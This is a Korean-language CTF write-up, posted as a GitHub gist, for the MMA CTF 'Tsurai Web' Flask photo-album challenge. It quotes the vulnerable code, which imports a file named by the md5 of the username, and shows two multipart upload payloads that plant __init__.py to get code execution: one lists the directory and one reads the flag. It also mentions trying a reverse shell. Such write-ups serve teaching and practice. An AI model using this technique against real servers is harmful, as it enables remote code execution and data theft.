Skip to content

Instantly share code, notes, and snippets.

@junorouse
Last active September 5, 2016 17:36
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save junorouse/dce4d03499cd01e720711ec468dead34 to your computer and use it in GitHub Desktop.
Save junorouse/dce4d03499cd01e720711ec468dead34 to your computer and use it in GitHub Desktop.
MMA CTF Tsurai Web Writeup by JunoIm@LeavCat

한국인 중에 푼사람이 저희밖에 없기에 한국어로 풀이를 작성합니다.

소스코드와 링크가 제공되어있습니다. Flask로 작성되어진 간단한 온라인 사진관리 서비스입니다.

def h(s):
    from hashlib import md5
    return md5(s).hexdigest()

open('data/{}.py'.format(h(username)), 'w').write("imgs = {}".format(repr([])))

username을 md5한후 파일명으로 사용합니다.

config = __import__(h(session.get('username')))
return render_template('albums.html', 
                        msg=msg,
                        imgs=config.imgs)

추후 이미지를 불러올때 이렇게 import하여 불러옵니다.

imgs.append(fname)
req_file.save(os.path.join("data/{}".format(h(session.get('username'))), os.path.basename(fname)))
open("data/{}.py".format(h(session.get('username'))), 'w').write("imgs = {}".format(repr(imgs)))

이미지 업로드는 위와같이 합니다.

이 부분에서 어떻게 할까 고민을 많이 했습니다. md5(username).py와 username 디렉토리가 있습니다.

x = __import__('a')

파이썬은 파일을 import 할시 파일명보다 클래스를 먼저 import하게 됩니다. 폴더내에 init.py 가 있을경우 클래스로 인식하여 먼저 import 하게됩니다. 그렇기 때문에 init.py에 payload를 작성하여 보내게 되면 성공적으로 exploit을 할 수 있습니다.

------WebKitFormBoundaryHA3JtNWjI9Bi6dCU
Content-Disposition: form-data; name="file"; filename="__init__.py"
Content-Type: application/octet-stream

import os
imgs = os.listdir("./")
------WebKitFormBoundaryHA3JtNWjI9Bi6dCU--

directory listing

------WebKitFormBoundaryHA3JtNWjI9Bi6dCU
Content-Disposition: form-data; name="file"; filename="__init__.py"
Content-Type: application/octet-stream

import os
f = open("flag", "r")
data = f.read()
imgs = [data]
------WebKitFormBoundaryHA3JtNWjI9Bi6dCU--

read flag

이상하게도 os.system을 통한 리버스쉘, nc로 파이프 넘겨주는 명령은 정상적으로 작동을 안해서 저런 방법을 생각해냈습니다. file이 이미 exist하면 업로드를 하지 않기때문에 새로운 payload를 보낼때마다 계정을 새로 만들어야 합니다.

listing

리스팅

readflag

read flag

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment